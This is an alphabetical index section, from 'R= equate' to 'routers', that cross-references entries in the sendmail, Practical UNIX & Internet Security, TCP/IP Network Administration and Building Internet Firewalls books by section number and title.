sendmail, 36.7. Alphabetized Reference
-R switch (sendmail) : sendmail, 36.7. Alphabetized Reference
R= equate
sendmail, 6.3. The local Delivery Agent
sendmail, 6.3.1. Skipping Rule Sets
sendmail, 29.6.2. Selecting S= and R=
sendmail, 30.4. The Equates
rabbit programs
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
race conditions : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
RADB (Routing Arbiter Database) : TCP/IP Network Administration, 2.4. Internet Routing Architecture
radio
Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
Practical UNIX & Internet Security, 12.3.1.3. Eavesdropping by radio and using TEMPEST
Practical UNIX & Internet Security, 14.4.4.1. Kinds of eavesdropping
rain : (see water)
RAM theft : Practical UNIX & Internet Security, 12.2.6. Preventing Theft
rand function : Practical UNIX & Internet Security, 23.7.1. rand ( )
random device : Practical UNIX & Internet Security, 23.7.4. Other random number generators
random function : Practical UNIX & Internet Security, 23.7.2. random ( )
random numbers : Practical UNIX & Internet Security, 23.6. Tips on Generating Random Numbers
range parameter
TCP/IP Network Administration, 9.5.1. dhcpd.conf
TCP/IP Network Administration, D.3.2. Configuration Parameters
RARP (Reverse Address Resolution Protocol)
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
adding to Linux kernel : TCP/IP Network Administration, 6.1.5.5. Point-to-point
/etc/ethers file in : TCP/IP Network Administration, 9.3. Network Information Service
raw devices : Practical UNIX & Internet Security, 5.6. Device Files
raw sockets : TCP/IP Network Administration, 5.4. The Internet Daemon
rc directory
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
Practical UNIX & Internet Security, 17.1.2. Starting the Servers
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
sendmail, 15.5. Prevent the Daemon from Running
commenting out services : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
services started by : Building Internet Firewalls, 5.8.2.1. How are services managed?
rc.inet1 script : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
rc.M startup script : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
RC2, RC4, and RC5 algorithms
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.8. Proprietary Encryption Systems
RC4 and RC5 algorithms : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
rcp command
Building Internet Firewalls, 2.2. File Transfer
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
RCPT command (SMTP)
sendmail, 23.9. The qf File Internals
sendmail, 29.10.2. The check_rcpt Rule Set
sendmail, 36.7. Alphabetized Reference
RCS (Revision Control System)
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
rdist command
Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
Practical UNIX & Internet Security, 9.2.1.3. rdist
TCP/IP Network Administration, 9.6.1. rdist
rdump/rrestore program : Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
reachability information
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5. Exterior Routing Protocols
TCP/IP Network Administration, 7.6. Gateway Routing Daemon
READ command, in POP : TCP/IP Network Administration, 3.4.2. Post Office Protocol
read permission
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 5.4. Using Directory Permissions
(see permissions)
read system call : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
time-outs on : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
READ= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
READ_ME file : sendmail, 2.2. Read the Documents
read-only filesystems
Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
Building Internet Firewalls, 5.8.4.3. Mount filesystems as read-only
Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
readdir library call : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
real UIDs/GIDs
Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
Practical UNIX & Internet Security, C.1.3.2. Process real and effective UID
real-time conferencing : (see conferencing services, real-time)
RealHostAddr variable : sendmail, 20.1.2. Global Variables
RealHostName variable : sendmail, 20.1.2. Global Variables
realpath function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
reauthentication
Kerberos : Practical UNIX & Internet Security, 19.6.4. Using Kerberos
Secure RPC : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
rebooting : Building Internet Firewalls, 5.10.1. Watch Reboots Carefully
rebuild aliases mode : sendmail, 4.1.3. Rebuild Aliases Mode (-bi)
rebuilding : (see building)
Receive Data (RD) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
"Received:" header line
sendmail, 1.5. The Header
sendmail, 13.4. Sending Mail
sendmail, 14.1.2. The Received: Header
sendmail, 20.2.5. Prune Received: Headers at Firewall
sendmail, 35.10. Alphabetized Reference
forged mail and : sendmail, 22.7.2. Forging with SMTP
recipient list buffer size : sendmail, 18.8. Alphabetized Reference
RecipientFactor (y) option : sendmail, 34.8. Alphabetized Reference
recipients
sendmail, 6.3. The local Delivery Agent
(see also R= equate; $u macro)
adding domain to address : sendmail, 30.8. Alphabetized F= Flags
addresses of
sendmail, 6.3. The local Delivery Agent
sendmail, 23.9. The qf File Internals
sendmail, 29.10.4. The check_compat Rule Set
sendmail, 31.10. Alphabetized Reference
TCP/IP Network Administration, 10.6.3. The Set Ruleset Command
(see also addresses)
check_rcpt rule set : sendmail, 29.10.2. The check_rcpt Rule Set
delivery agent as : sendmail, 30.8. Alphabetized F= Flags
filtering with shell script : sendmail, 24.6.2. Filtering Recipients with a Shell Script
getting from header : sendmail, 36.7. Alphabetized Reference
headers for : sendmail, 35.6.3. Recipient Headers
home directory of : sendmail, 31.10. Alphabetized Reference
large lists of : sendmail, 34.8. Alphabetized Reference
logging
sendmail, 26.1.3.6. nrcpts= the number of recipients
sendmail, 26.1.3.12. to= show final recipient
missing
sendmail, 34.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
multiple : sendmail, 30.8. Alphabetized F= Flags
processing list of
sendmail, 36.3. List of Recipient Addresses
sendmail, 36.4.5. Fifth: Collect Recipients
selecting MTA for : (see rule set 0)
username of : (see $u macro)
whitespace in lists of : sendmail, 34.8. Alphabetized Reference
recnews program : sendmail, 25.5.2. Gateway Lists to News
recommended headers : sendmail, 35.6.1. Recommended Headers
recording activity : (see logs/logging)
recovering after incident : Building Internet Firewalls, 13.1.6. Restore and Recover
plan for : Building Internet Firewalls, 13.4.6. Planning for Restoration and Recovery
recursion : sendmail, 21.3.3. MX Records Are Nonrecursive
recursive macro expansion : sendmail, 31.5.1. Macro Expansion Is Recursive
recursive searches : TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
redirect feature : sendmail, 19.6. Alphabetized m4 Macros
Redirect Message
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.3.1. Adding Static Routes
redirect statement (in gated) : TCP/IP Network Administration, B.8.8. The redirect Statement
redirecting messages : (see aliases/aliasing)
redirecting routes : TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
Redman, Brian E. : Practical UNIX & Internet Security, 15.2. Versions of UUCP
refer_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
"Reference:" header line : sendmail, 35.10. Alphabetized Reference
reflectors (in Enigma system) : Practical UNIX & Internet Security, 6.3. The Enigma Encryption System
reformatting attack : Practical UNIX & Internet Security, 25.1. Destructive Attacks
refresh values : TCP/IP Network Administration, C.3.1.1. Start of Authority record
RefuseLA (X) option : sendmail, 34.8. Alphabetized Reference
registered hosts : TCP/IP Network Administration, 3.2. The Host Table
registration fee : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
reject route
TCP/IP Network Administration, B.9. static Statements
TCP/IP Network Administration, B.10.1. The import Statement
rejecting mail messages
sendmail, 18.8. Alphabetized Reference
sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
relative humidity : Practical UNIX & Internet Security, 12.2.1.11. Humidity
relative pathnames : Practical UNIX & Internet Security, 5.1.3. Current Directory and Paths
relay= equate (syslog output) : sendmail, 26.1.3.9. relay= the host that sent or accepted the message
relays : sendmail, 19.4.5. Relays
smart hosts : sendmail, 19.6. Alphabetized m4 Macros
RELEASE_NOTES file : sendmail, 2.2. Read the Documents
reliability : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
remembering passwords : TCP/IP Network Administration, 12.2.2. Choosing a Password
remote
command execution
Building Internet Firewalls, 8.4. Remote Command Execution
Practical UNIX & Internet Security, 15.1.2. uux Command
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
Practical UNIX & Internet Security, 17.3.17. rexec (TCP Port 512)
comparison copies : Practical UNIX & Internet Security, 9.2.1.2. Remote copies
computers
hijacking : Building Internet Firewalls, 10.1.1. Hijacking
transferring files to : Practical UNIX & Internet Security, 15.1.1. uucp Command
file access (UUCP)
Practical UNIX & Internet Security, 15.4.1. USERFILE: Providing Remote File Access
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
hosts
sendmail, 21.2.2. Look Up a Remote Host's Name
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
network filesystems : Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
procedure calls : (see RPCs)
servers : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
accessing files on : TCP/IP Network Administration, 9.1. The Network File System
contacting administrators of
TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
never extending trust to : TCP/IP Network Administration, 12.2.3. One-Time Passwords
problem for firewalls : TCP/IP Network Administration, 12.7.1. Functions of the firewall
terminal access
Building Internet Firewalls, 2.3. Remote Terminal Access and Command
(see also Telnet service)
remote copy (rcp) command : TCP/IP Network Administration, 9.6. Managing Distributed Servers
remote file
Practical UNIX & Internet Security, 10.3.1. aculog File
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
Remote File System (RFS) : TCP/IP Network Administration, 3.7.1. File Sharing
Remote Procedure Calls : (see RPCs)
remote.unknown file : Practical UNIX & Internet Security, 15.5. Security in BNU UUCP
remounting filesystems after system reboot : TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
renice command
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
replacement character for space : sendmail, 13.2.8. The Unquoted Space Replacement Character
replay attacks
Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
Practical UNIX & Internet Security, 19.6.1.2. Using the ticket granting ticket
reply feature : sendmail, 10.1. Why Preprocess?
"Reply-To:" header line
sendmail, 25.5.1. Reply Versus Bounce
sendmail, 35.10. Alphabetized Reference
REPORT keyword : TCP/IP Network Administration, A.3. chat
reportfile : TCP/IP Network Administration, A.3. chat
reporting security holes : Practical UNIX & Internet Security, 2.5.1. Going Public
reputation : Building Internet Firewalls, 1.1.3. Your Reputation
Request to Send (RTS) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
REQUEST= command
Practical UNIX & Internet Security, 15.5.1.3. A Sample Permissions file
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
Requests for Comments : (see RFCs)
RES_DNSRCH : sendmail, 21.2.4. The $[ and $] Operators
res_search()
sendmail, 18.8. Alphabetized Reference
sendmail, 21.2.3. Look Up Addresses for Delivery
"Recent-" header lines : sendmail, 35.7. Forwarding with Resent-Headers
reserved memory space : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
reserved TCP port : sendmail, 30.8. Alphabetized F= Flags
reset command : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
resolution, time : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
resolv.conf file
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, 8.2. Configuring the Resolver
TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
resolver
code : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
configuring : TCP/IP Network Administration, 8.2. Configuring the Resolver
defined : TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
DNS : Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
options : TCP/IP Network Administration, E.4.2. sendmail Options
resolver library
Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
sendmail, 18.5.1. Use libresolv.a
resolver-only configurations
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, 8.2.1.1. A resolver-only configuration
ResolverOptions (I) option
sendmail, 21.2.4. The $[ and $] Operators
sendmail, 34.8. Alphabetized Reference
resource unavailable error : sendmail, 36.5.9. EX_UNAVAILABLE A Resource
resources (memory) : Building Internet Firewalls, 1.1.2. Your Resources
resources on sendmail
sendmail, Additional Sources of Information
sendmail, 2.2. Read the Documents
response teams
Practical UNIX & Internet Security, 27.3.5. Response Personnel?
Practical UNIX & Internet Security, F.3. Emergency Response Organizations
Practical UNIX & Internet Security, F.3.4.46. Westinghouse Electric
(see incident response teams)
mailing lists for : Practical UNIX & Internet Security, E.1.1. Response Teams and Vendors
responsibilities of administrators
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 4. Getting Started
TCP/IP Network Administration, 4.3. Planning Routing
TCP/IP Network Administration, 4.6. Informing the Users
TCP/IP Network Administration, 5.1. Kernel Configuration
restart signal : sendmail, 26.3.2. SIGHUP Restart
restarting sendmail daemon : sendmail, 4.1.1.1. Kill and restart, beginning with V8.7
restore program : (see dump/restore program)
restricted
filesystems
Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
FTP : Practical UNIX & Internet Security, 17.3.2.5. Restricting FTP with the standard UNIX FTP server
logins : Practical UNIX & Internet Security, 8.3. Restricting Logins
shells
Practical UNIX & Internet Security, 8.1.4.1. Restricted shells under System V UNIX
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
su use : Practical UNIX & Internet Security, 4.3.6. Restricting su
restrictmailq (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
retention of backups
Practical UNIX & Internet Security, 7.1.5. How Long Should You Keep a Backup?
Practical UNIX & Internet Security, 7.2.2.2. Retention schedule
(see also networks and networking, backing up)
retina authentication : Building Internet Firewalls, 10.2.1. Something You Are
retired accounts : sendmail, 19.6. Alphabetized m4 Macros
RETR command, in POP : TCP/IP Network Administration, 3.4.2. Post Office Protocol
retry time : sendmail, 34.8. Alphabetized Reference
RetryFactor (Z) option
sendmail, 23.9. The qf File Internals
sendmail, 34.8. Alphabetized Reference
return calls : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
return interval : sendmail, 13.2.2. Limit the Life of Queued Messages
"Return-Path:" header line
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.10. Alphabetized Reference
"Return-Receipt-To:" header line
sendmail, 18.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
Reverse Address Resolution Protocol : (see RARP)
reverse domain : TCP/IP Network Administration, 4.4.1.1. Obtaining an IN-ADDR.ARPA domain
files
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
TCP/IP Network Administration, C.3.1.6. Domain Name Pointer record
reverse lookups
Building Internet Firewalls, 8.10.4.2. Mismatched data between the hostname
Building Internet Firewalls, 8.10.5.1. Set up a `fake'
Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
reviewing security policies : Building Internet Firewalls, 11.1.1.5. Provision for reviews
Revision Control System (RCS)
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
revocation certificate : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
"rewrite" prompt : (see address-testing mode)
rewrite rules
processing sequentially : TCP/IP Network Administration, 10.6.2. Transforming the Address
recursion built-in : TCP/IP Network Administration, 10.6.2. Transforming the Address
syntax of : TCP/IP Network Administration, 10.6.2. Transforming the Address
using external databases in : TCP/IP Network Administration, 10.6.2.1. Transforming with a database
rewriting
addresses
sendmail, 8.3. Rule Sets
sendmail, 11.4.1. Rewrite the Lone Username
rule sets
(see R= equate)
(see S= equate)
User Database : sendmail, 30.8. Alphabetized F= Flags
rex service : Building Internet Firewalls, 8.4.3. rex
rexd service : Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
rexec service
Building Internet Firewalls, 8.4.2. rexec
Practical UNIX & Internet Security, 17.3.17. rexec (TCP Port 512)
RFCs (Requests for Comments)
sendmail, The RFCs
TCP/IP Network Administration, 1.1.2. Protocol Standards
TCP/IP Network Administration, 1.4. Network Access Layer
TCP/IP Network Administration, 2.3. Subnets
authorative source : TCP/IP Network Administration, 11.8. Protocol Case Study
keeping up with latest : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
retrieving : TCP/IP Network Administration, 13.4. Retrieving RFCs
rfc-index.txt : TCP/IP Network Administration, 13.4. Retrieving RFCs
RFC819 : sendmail, The RFCs
RFC821
sendmail, The RFCs
sendmail, 30.8. Alphabetized F= Flags
RFC822
sendmail, The RFCs
sendmail, 14.1. Headers
sendmail, 28.1.2. Rules Are Treated Like Addresses
sendmail, 32.5. Alphabetized Reference
sendmail, 35.2. Header Names
sendmail, 35.6.6. Other RFC822 Headers
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
RFC974 : sendmail, 21.3.7. Ambiguous MX Records
RFC976 : sendmail, The RFCs
RFC1123
sendmail, The RFCs
sendmail, 14.1. Headers
RFC1413 : sendmail, 31.10. Alphabetized Reference
RFC1521 and RFC1522 : sendmail, The RFCs
RFC1597 and RFC1627 : Building Internet Firewalls, 4.5. What the Future Holds
RFC1651 to RFC1653 : sendmail, The RFCs
RFC1750 : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
RFC1891 to RFC1894 : sendmail, The RFCs
RFS (Remote File System) : TCP/IP Network Administration, 3.7.1. File Sharing
.rhosts file
Building Internet Firewalls, 8.4.1. BSD
Practical UNIX & Internet Security, 10.4.3. Network Setup
Practical UNIX & Internet Security, 17.3.18.4. The ~/.rhosts file
Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
TCP/IP Network Administration, 12.2.5. Secure the r Commands
back door in : Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
intruder's changes to : Practical UNIX & Internet Security, 24.4.1.4. Changes in .rhosts files
searching for : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
RHS, rule
sendmail, 8.4. Rules
sendmail, 28.6. The RHS
(see also rule sets)
class macros in : sendmail, 12.1.4. Class Macros in the RHS
RHS triple : sendmail, 9.2. The RHS Triple
richtext text subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Ring Indicator (RI) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
RIP (Routing Information Protocol)
Practical UNIX & Internet Security, 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
TCP/IP Network Administration, 6.1.5.3. Metric
TCP/IP Network Administration, 7.4.1. Routing Information Protocol
checking updates : TCP/IP Network Administration, 11.5.1. Checking RIP Updates
configuring : Building Internet Firewalls, 8.12.2. Routing Information Protocol
enabling (in gated) : TCP/IP Network Administration, 7.7.1.1. A host configuration
running : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
starting : TCP/IP Network Administration, 5.4. The Internet Daemon
statement (in gated) : TCP/IP Network Administration, B.8.2. The rip Statement
Version 2 (RIP-2)
TCP/IP Network Administration, 7.4.2. RIP Version 2
TCP/IP Network Administration, 7.7.1.1. A host configuration
RIP REQUEST command : TCP/IP Network Administration, 11.5.1. Checking RIP Updates
RIPE Network Control Center : TCP/IP Network Administration, 2.4. Internet Routing Architecture
RIPE-181 standard : TCP/IP Network Administration, 2.4. Internet Routing Architecture
ripquery
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.5.1. Checking RIP Updates
Riseaux IP Europeens (RIPE) Network Control Center (NCC) : TCP/IP Network Administration, 2.4. Internet Routing Architecture
risk assessment
Practical UNIX & Internet Security, 2.2. Risk Assessment
Practical UNIX & Internet Security, 2.2.2. Review Your Risks
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
risks forum : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
RISKS mailing list : Building Internet Firewalls, A.3.6. RISKS
Ritchie, Dennis : Practical UNIX & Internet Security, 1.3. History of UNIX
Rivest, Ronald L.
Practical UNIX & Internet Security, 6.1.3. Modern Controversy
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.5.4.1. MD2, MD4, and MD5
RJE (Remote Job Entry) : Practical UNIX & Internet Security, 3.2.1. The /etc/passwd File
rlogin command/service
Building Internet Firewalls, 2.3. Remote Terminal Access and Command
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 3.5. Verifying Your New Password
Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
Practical UNIX & Internet Security, 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 12.2.3. One-Time Passwords
TCP/IP Network Administration, 2.7.2. Port Numbers
proxying with TIS FWTK : Building Internet Firewalls, 7.7.2. Telnet and rlogin Proxying with
versus Telnet : Practical UNIX & Internet Security, 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
rm command
Practical UNIX & Internet Security, 5.4. Using Directory Permissions
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
deep tree structures and : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
rmail program : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
ro option (read-only access)
for Linux systems : TCP/IP Network Administration, 9.1.2.2. The /etc/exports file
for Solaris systems : TCP/IP Network Administration, 9.1.2.1. The share command
root account/user
Practical UNIX & Internet Security, 4. Users, Groups, and the Superuser
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 4.2.1. The Superuser
Practical UNIX & Internet Security, 4.2.1.5. The problem with the superuser
Practical UNIX & Internet Security, 5.5.2. Problems with SUID
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
sendmail, Other Books, Other Problems
sendmail, 14.6. Trusted User
sendmail, 22.1. Why root?
TCP/IP Network Administration, 5.4. The Internet Daemon
(see also superusers)
abilities of : Practical UNIX & Internet Security, 27.1.3. What the Superuser Can and Cannot Do
chroot command
Building Internet Firewalls, 8.2.1.3. Providing anonymous
Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 23.4.1. Using chroot()
with anonymous FTP : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
immutable files and : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
network services with : Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
options that don't run on : sendmail, 34.1.4. Options that Are Safe
protecting
Practical UNIX & Internet Security, 8.5. Protecting the root Account
Practical UNIX & Internet Security, 8.5.3.2. Trusted computing base
on remote machine, fingering : Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
single-command accounts and : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
SUID_ROOT_FILES_OK macro : sendmail, 18.8. Alphabetized Reference
web server as : Practical UNIX & Internet Security, 18.2.1. The Server's UID
root directory : Practical UNIX & Internet Security, 5.1.1. Directories
backups of : Practical UNIX & Internet Security, 7.1.3. Types of Backups
UUCP access from : Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
root domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
root server : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
configuring : TCP/IP Network Administration, 8.3.1. The named.boot File
entries, corrupted : TCP/IP Network Administration, 11.6.3. Cache corruption
root option for /etc/exports : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
root=host option (root access for specified host) : TCP/IP Network Administration, 9.1.2.1. The share command
ROT13 algorithm
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.3. ROT13: Great for Encoding Offensive Jokes
rotating backup media
Practical UNIX & Internet Security, 7.1.3. Types of Backups
Practical UNIX & Internet Security, 7.2.1.2. Media rotation
route command
TCP/IP Network Administration, 6.1.5.3. Metric
TCP/IP Network Administration, 6.4.1. slattach
TCP/IP Network Administration, 7.3. Building a Static Routing Table
TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
route add command : TCP/IP Network Administration, 11.5. Checking Routing
routes
addressing
sendmail, 17.1.5. The % Hack
sendmail, 21.5.1. Offsite MX Hosts
sendmail, 29.4.3. Handling Routing Addresses
d flag and : sendmail, 30.8. Alphabetized F= Flags
pruning : sendmail, 34.8. Alphabetized Reference
dampening : TCP/IP Network Administration, B.8.5. The bgp Statement
duplicate, silently ignored : TCP/IP Network Administration, B.8.5. The bgp Statement
filters : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
server entry, bogus : TCP/IP Network Administration, 8.3.3. The Cache Initialization File
routed daemon
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Practical UNIX & Internet Security, 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.4.1. Routing Information Protocol
routerdiscovery statement (in gated) : TCP/IP Network Administration, B.8.10. The routerdiscovery Statement
routerid
TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
TCP/IP Network Administration, B.7. Definition Statements
routers and routing
Building Internet Firewalls, 6. Packet Filtering
Practical UNIX & Internet Security, 16.2.2. Routing
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 2.1. Addressing, Routing, and Multiplexing
(see also dynamic, routing; static, routing)
areas, hierarchy of : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
as choke point : Building Internet Firewalls, 6.1. Why Packet Filtering?
choosing : Building Internet Firewalls, 6.8. Choosing a Packet Filtering
commonest configurations : TCP/IP Network Administration, 7.1. Common Routing Configurations
consolidated : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
datagrams : (see datagrams)
defined : TCP/IP Network Administration, 7. Configuring Routing
disabling : Building Internet Firewalls, 5.8.2.5. Turning off routing
domains
Building Internet Firewalls, C.10. Internet Routing Architecture
TCP/IP Network Administration, 2.4. Internet Routing Architecture
end-to-end : (see end-to-end)
exterior (or access) : (see exterior routers)
handling packets : Building Internet Firewalls, 6.4. What Does the Router Do with
intelligent : Practical UNIX & Internet Security, 21.2.3. Setting Up the Choke
information, exchanging : TCP/IP Network Administration, 1.7. Application Layer
interior
Building Internet Firewalls, 4.2.3.3. Interior router
TCP/IP Network Administration, 12.7. Firewalls
configuring : Building Internet Firewalls, 9.1.2.1. Interior Router
merging with bastion host : Building Internet Firewalls, 4.3.4. It's Dangerous to Merge the Bastion
merging with exterior router : Building Internet Firewalls, 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multiple : Building Internet Firewalls, 4.3.5. It's Dangerous to Use Multiple
interoperability with routers : TCP/IP Network Administration, B.8.5. The bgp Statement
logging actions of : Building Internet Firewalls, 6.4.1. Logging Actions
merging interior and exterior : Building Internet Firewalls, 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
metric
TCP/IP Network Administration, 6.1.5.3. Metric
TCP/IP Network Administration, 7.3. Building a Static Routing Table
multicast
Building Internet Firewalls, 6.3.3.5. IP over IP
Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
multi-path : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
planning : TCP/IP Network Administration, 4.3. Planning Routing
policy
TCP/IP Network Administration, 7.6. Gateway Routing Daemon
TCP/IP Network Administration, B.10. Control Statements
protocols
TCP/IP Network Administration, 4. Getting Started
TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
(see also RIP)
choosing : TCP/IP Network Administration, 7.5.3. Choosing a Routing Protocol
defined : TCP/IP Network Administration, 7.1. Common Routing Configurations
interior : TCP/IP Network Administration, 7.4. Interior Routing Protocols
using gated for : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
responsibilities of : TCP/IP Network Administration, 7.1. Common Routing Configurations
returning ICMP error codes : Building Internet Firewalls, 6.4.2. Returning ICMP
screening : (see screening routers)
single-purpose versus general-purpose : Building Internet Firewalls, 6.8.2. It Can Be a Single-Purpose Router or
